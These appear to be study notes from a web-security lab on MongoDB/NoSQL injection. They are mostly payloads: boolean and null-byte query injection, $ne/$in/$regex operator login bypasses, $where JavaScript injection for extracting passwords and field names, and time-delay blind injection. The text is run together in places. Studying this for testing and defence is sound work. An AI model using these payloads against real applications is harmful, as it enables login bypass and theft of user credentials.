NoSQL databases
NoSQL database models
https://insecure-website.com/product/lookup?category=fizzyproduct collection in the
MongoDB database:
this.category == 'fizzy'' -> this.category == '''
' character has broken the query
syntax and caused a syntax error. \' -> this.category == '\''
# False condition
' && 0 && 'x
' && '1'=='2
# True condition
' && 1 && 'x
' && '1'=='1https://insecure-website.com/product/lookup?category=fizzy'+%26%26+0+%26%26+'x
https://insecure-website.com/product/lookup?category=fizzy'+%26%26+1+%26%26+'x
If the application behaves differently suggests that the false condition impacts the query logic, but the true condition doesn’t.
# Always true:
'||1||'
'||'1'=='1'
# Inject: fizzy'||1||'
https://insecure-website.com/product/lookup?category=fizzy%27%7c%7c%31%7c%7c%27
# Back-end code
this.category == 'fizzy'||1||''The modified query returns all items (all the products in any category).
Wwarning: If an application uses it when updating or deleting data, for example, this can result in accidental data loss.
Null character
MongoDB may ignore all characters after a null character. This means that any additional conditions on the MongoDB query are ignored.
# Back-end code
this.category == 'fizzy' && this.released == 1
# Inject null char
https://insecure-website.com/product/lookup?category=fizzy'%00
# Back-end code result [removes the req for the released field to be set to 1]
this.category == 'fizzy'\u0000' && this.released == 1$where - Matches documents that satisfy a
JavaScript expression.
$ne - Matches all values that are not equal to a
specified value.
$in - Matches all of the values specified in an
array.
$regex - Selects documents where values match a
specified regular expression.
MongoDB Query and Projection Operators: https://www.mongodb.com/docs/manual/reference/operator/query/
{"username":"wiener"} ->
{"username":{"$ne":"invalid"}}username=wiener ->
username[$ne]=invalidGET to
POST.Content-Type header to
application/json.# Login bypass
{"username":"bob","password":{"$ne":"invalid"}}
# Guess with usernames list
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
# Guess with regex
{"username":{"$regex":"^adm"},"password":{"$ne":""}}Other tests
{"username":"wiener","password":"peter"}{"username":{"$ne":"invalid"},"password":{"$ne":"invalid"}}invalid. As a result,
you’re logged into the application as the first user in the
collection.INSIDE $WHERE
https://insecure-website.com/user/lookup?username=adminusers collection:
{"$where":"this.username == 'admin'"}$where operator, you can
attempt to inject JavaScript functions.
admin' && this.password[0] == 'a' || 'a'=='b
admin' && this.password.match(/\d/) || 'a'=='b
INJECT OPERATOR (where)
{"username":"wiener","password":"peter"}$where operator as an additional parameter.
Send one true request and one false request.
{"username":"wiener","password":"peter", "$where":"0"}{"username":"wiener","password":"peter", "$where":"1"}$where clause is being evaluatedINJECT OPERATOR (regex)
{"username":"myuser","password":"mypass"}
{"username":"myuser","password":"incorrect"}
(incorrect password){"username":"admin","password":{"$regex":"^.*"}}{"username":"admin","password":{"$regex":"^a*"}}
FIRST WAY
admin' && this.username!=' (you know
username field exists)admin' && this.foo!=' (you know
foo field doesn’t exist)admin' && this.password!=' (you want
identify password field)
https://insecure-website.com/user/lookup?username=admin'+%26%26+this.password!%3d'password field exists, you’d expect the
response to be identical to the response for the existing field
(username), but different to the response for the field
that doesn’t exist (foo).SECOND WAY
"$where":"Object.keys(this)[0].match('^.{0}a.*')"{
"username":"test",
"$where":"Object.keys(this)[§1§].match('^.{0}§u§.*')"
}With intruder set: 1 payload: numbers, 2 payload: bruteforce chars.
You have :
[
{ "apple": "fruit", "color": "red" },
{ "banana": "fruit", "color": "yellow" },
{ "avocado": "fruit", "color": "green" },
{ "berry": "fruit", "color": "blue" }
]Query
db.collection.find({ "$where": "Object.keys(this)[0].match('^.{0}a.*')" })[
{ "apple": "fruit", "color": "red" },
{ "avocado": "fruit", "color": "green" }
]Database error doesn’t cause a difference in the application’s response? Trigger a conditional time delay
{"$where": "sleep(5000)"}a
admin'+function(x){var waitTill = new Date(new Date().getTime() + 5000);while((x.password[0]==="a") && waitTill > new Date()){};}(this)+'admin'+function(x){if(x.password[0]==="a"){sleep(5000)};}(this)+'